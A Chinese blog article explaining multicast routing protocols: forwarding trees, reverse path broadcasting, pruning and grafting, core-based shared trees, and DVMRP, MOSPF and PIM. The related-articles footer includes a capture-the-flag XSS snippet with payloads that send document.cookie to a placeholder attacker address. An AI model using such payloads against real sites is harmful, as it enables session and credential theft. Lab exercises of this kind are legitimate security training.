计算机网络:网络层 —— 多播路由选择协议

文章目录

      • 多播路由选择协议
        • 多播转发树
        • 构建多播转发树
          • 基于源树的多播路由选择
            • 建立广播转发树
            • 建立多播转发树
          • 组共享树的多播路由选择
            • 基于核心的生成树的建立过程
        • 因特网的多播路由选择协议

多播路由选择协议

仅使用 IGMP 并不能在因特网上进行IP多播。连接在局域网上的多播路由器还必须和因特网上的其他多播路由器协同工作,以便把 IP 多播数据报用最小的代价传送给所有的多播组成员,这就需要使用多播路由选择协议

多播转发树

多播路由选择协议的主要任务是:在多播路由器之间为每个多播组建立一个多播转发树

  • 多播转发树连接多播源和所有拥有该多播组成员的路由器。

  • IP多播数据报只要沿着多播转发树进行洪泛,就能被传送到所有拥有该多播组成员的多播路由器。

  • 之后,在多播路由器所直连的局域网内,多播路由器通过硬件多播,将IP多播数据报发送给该多播组的所有成员。

![[多播转发树.png]]

针对不同的多播组需要维护不同的多播转发树,而且必须动态地适应多播组成员的变化,但此时网络拓扑并不一定发生变化,因此多播路由选择协议要比单播路由选择协议(例如 RIP、OSPF等)复杂得多

  • 即使某个主机不是任何多播组的成员,它也可以向任何多播组发送多播数据报

  • 为了覆盖多播组的所有成员,多播转发树可能要经过一些没有多播组成员的路由器(例如上图中的 R2)

构建多播转发树

目前有以下两种方法来构建多播转发树:

  • 基于源树(Source·BaseTree)多播路由选择

  • 组共享树(Group-Shared Tree)多播路由选择

基于源树的多播路由选择

基于源树的多播路由选择的最典型算法是反向路径多播(Reverse Path Multicasting,RPM)算法。

RPM 算法包含以下两个步骤:

  1. 利用反向路径广播(Reverse Path Broadcasting,RPB)算法建立一个广播转发树

  2. 利用剪枝(Pruning)算法,剪除广播转发树中的下游非成员路由器,获得一个多播转发树

建立广播转发树

要建立广播转发树,可以使用洪泛(Flooding)法

路由器 R1 向其邻居路由器 R3 发送广播分组,R3 收到后,复制该广播分组,并向自己的所有下游邻居路由器转发,即向除 R1 外的所有邻居路由器转发。

在这里插入图片描述

若网络中存在环路,使用洪泛法会产生严重的问题,即广播分组的一个或多个副本将在环路中永久兜圈。最终将导致该网络中产生大量的广播分组,使得网络带宽被完全占用。

而利用反向路径广播RPB算法生成的广播转发树不会存在环路,因此可以避免广播分组在环路中兜圈。

RPB 中“反向路径”的意思是:在计算最短路径时把源点当作终点

RPB 算法的要点是:每一台路由器在收到一个广播分组时,先检查该广播分组是否是从源点经最短路径传送来的(即转发分组的路由器是否在自己到源点的最短路径上)

  • 若是,本路由器就从自己除刚才接收该广播分组的接口的所有其他接口转发该广播分组。

  • 否则,丢弃该广播分组。

  • 如果本路由器有好几个邻居路由器都处在到源点的最短路径上,也就是存在好几条同样长度的最短路径,那么只能选取一条最短路径。选取的规则是,这几条最短路径中的邻居路由器的IP地址最小的那条最短路径

![[RPB算法生成的广播转发树.png]]

![[RPB算法生成的广播转发树2.png]]
经过上述过程,最终可以得出转发广播分组的广播转发树,以后就按该广播转发树转发广播分组,这样就避免了广播分组兜圈子,同时每一个路由器也不会收到重复的广播分组
![[RPB算法生成的广播转发树3.png]]

建立多播转发树
  • RPB 里然很好地解决了转发环路的问题,但只是实现了广播,要实现真正的多播,还要将 R8 这样没有多播组成员(使用IGMP来探测)、并且也没有下游路由器的叶节点从广播转发树上剪除。就可实现多播转发树

  • 尽管 R2 没有多播组成员,但也要保留 R2 以确保多播转发树的连通性

假设需要剪除 R8,则 R8 向其上游路由器 R5 发送一个剪枝报文,将自己从多播转发树上剪除

![[剪枝报文.png]]

如果被剪枝的路由器,通过IGMP又发现了新的多播组成员,则会向上游路由器发送一个嫁接报文,并重新加入到多播转发树中

![[嫁接报文.png]]

组共享树的多播路由选择

组共享树多播路由选择采用基于核心的分布式生成树算法来建立共享树。该方法在每个多播组中指定一个核心(core)路由器,以该路由器为,建立一棵连接多播组的所有成员路由器的生成树,作为多播转发树。

每个多播组中除了核心路由器,其他所有成员路由器都会向自己多播组中的核心路由器单播加入报文。加入报文通过单播朝着核心路由器转发,直到它到达已经属于该多播生成树的某个节点或者直接到达该核心路由器

加入报文所经过的路径,就确定了一条从单播该报文的边缘节点到核心路由器之间的分支,而这个新分支就被嫁接到现有的多播转发树上。

基于核心的生成树的建立过程

假设源主机给该多播组发送了一个多播分组,当 R1 收到后将该多播分组封装到目的地址为核心路由器 R5 的单播分组中,将该单播分组发送给 R5。当核心路由器 R5 收到分组后,将被封装在单播分组中的多播分组解封出来,在多播转发树上洪泛转发

在这里插入图片描述

因特网的多播路由选择协议

目前还没有在整个因特网范围使用的多播路由选择协议。下面是一些建议使用的多播路由选择协议:

  • 距离向量多播路由选择协议(Distance Vector Multicast Routing Protocol, DVMRP) [RFC 1075]

  • 开放最短路径优先的多播扩展(Multicast Extensions to OSPF, MOSPF)[RFC 1585]

  • 协议无关多播-稀疏方式(ProtocolIndependentMulticast-Sparse Mode,PIM-SM)[RFC 2362]

  • 协议无关多播-密集方式(Protocol Independent Multicast-Dense Mode,PIM-DM)[RFC 3973]

  • 基于核心的转发树(Core BasedTree,CBT)[RFC 2189,RFC 2201]

尽管因特网工程任务组 IETF 努力推动着因特网上的全球多播主干网(Multicast Backbone On the Intemnet,MBONE)的建设,但至今在因特网上的 IP 多播还没有得到大规模的应用。

主要原因是:改变一个已成功运行且广泛部署的网络层协议是一件极其困难的事情。目前 IP 多播主要应用在一些局部的园区网络、专用网络或者虚拟专用网中。

P2P 技术的广泛应用推动了应用层多播技术的发展,许多视频流公司和内容分发公司通过构建自己的应用层多播覆盖网络来分发它们的内容。但上述多播路由选择协议的算法思想在应用层多播中依然适用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/911513.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vscode ssh连接autodl失败

autodl服务器已开启,vscode弹窗显示连接失败 0. 检查状态 这里的端口和主机根据自己的连接更改 ssh -p 52165 rootregion-45.autodl.pro1. 修改config权限 按返回的路径找到config文件 右键--属性--安全--高级--禁用继承--从此对象中删除所有已继承的权限--添加…

阿里云-部署CNI flannel集群网络

环境 1.一台阿里云作为k8s-master:8.130.XXX.231(阿里云私有IP) 2.Vmware 两个虚拟机分别作为 k8s-node1:192.168.40.131 k8s-node2:192.168.40.131 3.安装Docker 部署过程 k8s-master,k8s-node1,k8s-node2 初始操作 # 关闭防火墙 systemctl stop fi…

CentOS 7 软件/程序安装示例

安装软件/程序 wget,前提需要用 root 用户 1、搜索软件/程序 yum search wget 搜索到软件/程序。 2、安装软件/程序 yum -y install wget 安装完成。 ---------------------------------------------------------------------------------------------------…

[HCTF 2018]WarmUp 1--详细解析

打开靶机&#xff0c;进入界面&#xff1a; 信息搜集 当前界面没有任何有用信息。 想到查看页面源代码。右键–查看页面源代码 看到hint&#xff1a;<!--source.php--> 进入/source.php页面&#xff0c;看到页面源代码&#xff1a; <?phphighlight_file(__FILE_…

Python的函数

一、定义 函数的定义&#xff1a;实现【特定功能】的代码块。 形参&#xff1a;函数定义时的参数&#xff0c;没有实际意义 实参&#xff1a;函数调用/使用时的参数&#xff0c;有实际意义 函数的作用&#xff1a; 简化代码提高代码重用性便于维护和修改提高代码的可扩展性…

ctfshow(319->326)--XSS漏洞--反射型XSS

Web319 思路 先测试过滤&#xff0c;发现过滤了script、img&#xff0c;没有过滤body&#xff0c;svg payload: <body onload"location.hrefhttp://xx.xx.xx.xx/flag.php?cookiedocument.cookie"/><svg onload"location.hrefhttp://xx.xx.xx.xx/fla…

MySQL server 免安装教程

1&#xff0c;下载免安装包-社区版本 https://dev.mysql.com/downloads/file/?id534320 2&#xff0c;解压 放到一电脑某个路径下&#xff0c;整个包 3&#xff0c;创建data 文件夹和my.ini文件 my.ini代码照抄&#xff0c;注意修改路径&#xff0c;与解压后的安装包地址一…

使用ookii-dialogs-wpf在WPF选择文件夹时能输入路径

在进行WPF开发时&#xff0c;System.Windows.Forms.FolderBrowserDialog的选择文件夹功能不支持输入路径&#xff1a; 希望能够获得下图所示的选择文件夹功能&#xff1a; 于是&#xff0c;通过NuGet中安装Ookii.Dialogs.Wpf包&#xff0c;并创建一个简单的工具类&#xff1a; …

Java项目实战II基于Spring Boot的便利店信息管理系统(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 在快节奏的…

SpringBoot整合Liquibase对数据库管理和迁移

简介 Liquibase是一个用于用于跟踪、管理和应用数据库变化的开源工具&#xff0c;通过日志文件(changelog)的形式记录数据库的变更(changeset)&#xff0c;然后执行日志文件中的修改&#xff0c;将数据库更新或回滚(rollback)到一致的状态。它的目标是提供一种数据库类型无关的…

练习LabVIEW第四十三题

学习目标&#xff1a; 模拟红绿灯&#xff0c;红灯亮十秒&#xff0c;绿灯亮五秒&#xff0c;交替&#xff0c;并用波形图将波形显示 开始编写&#xff1a; 前面板 两个指示灯&#xff0c;一个红色&#xff0c;一个绿色&#xff0c;一个波形图&#xff1b; 程序框图 创建…

针对解决前后端BUG的个人笔记

1-IDEA Q&#xff1a;Required Java version 17 is not supported by SDK 1.8. The maximum supported Java version is 8. A: 我们只知道IDEA页面创建Spring项目&#xff0c;其实是访问spring initializr去创建项目。故我们可以通过阿里云国服去间接创建Spring项目。将https…

ElasticSearch 添加IK分词器

ElasticSearch 添加IK分词器 前言一、IK分词器的算法二、Ik分词器的下载安装&#xff08;Winows 版本&#xff09;三、Ik分词器的下载安装&#xff08;Linux 版本&#xff09;四、验证测试&#xff08;postman工具&#xff09;测试 ik_smart 分词算法测试 ik_max_word 分词算法…

Android关机流程知多少?

在 Android 中&#xff0c;关机流程涉及系统各个组件的协同工作&#xff0c;确保设备在断电之前能够安全地关闭所有活动并保存数据。以下是 Android 系统中关机流程的详细介绍&#xff1a; 1. 用户触发关机请求 关机流程由用户的操作触发&#xff0c;通常有以下几种方式&#…

Golang | Leetcode Golang题解之第542题01矩阵

题目&#xff1a; 题解&#xff1a; type point struct{x, y int }var dirs []point{{-1, 0}, {1, 0}, {0, -1}, {0, 1}}func updateMatrix(mat [][]int) [][]int {var m, n len(mat), len(mat[0])var res make([][]int, m)var visited make([][]bool, m)var queue []poin…

基于ssm的小区物业管理系统

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下&#xff0c;你想解决的问…

_处理匿名命名空间里的变量时进入硬件中断错误

最近在初次使用匿名空间时出现一个很离谱的错误&#xff0c;我先简单描述一下情形&#xff1a;在匿名命名空间里有一个变量&#xff08;全局&#xff09;&#xff0c;在命名空间外&#xff0c;有一个内联函数操作该空间内的变量。 如果开优化&#xff0c;那么程序就会进入硬件错…

esp32学习:利用虫洞ESP32开发板,快速实现无线图传

我们的虫洞开发板&#xff0c;能够完美运行esp who AI代码&#xff0c;所以实现无线图传那是非常容易的&#xff0c;我们先看看examples目录&#xff1a; 里面有比较多的web例程&#xff0c;在这些例程下&#xff0c;稍作修改&#xff0c;就可以快速实现我的图传无线功能&#…

芯片需要按一下keyup或者复位按键虚拟或者下载之后芯片能下载却运行不了或者需要额外供电。

这些问题很有可能是因为外围电路器件幅值与设计不同的存在&#xff0c;导致你需要外部供电才能实现一个正常运行&#xff0c;可以检查一下外围电路在供电区域的电流区&#xff0c;电阻幅值是否和原理图设计时看的一模一样或者直接更换 因为按键会失灵&#xff0c;首先检查复位按…

万字长文读懂RAG

目录 RAG的整体架构设计 一、概览 1-Overview 2-Indexing 3-Retrival 4-Generation 二、优化元素提问 5-Multi Query多查询策略 6-RAG-Fusion多查询结果融合策略 7-Decomposition问题分解策略 Answer recursively Answer individually 8-Step Back问答回退策略 9…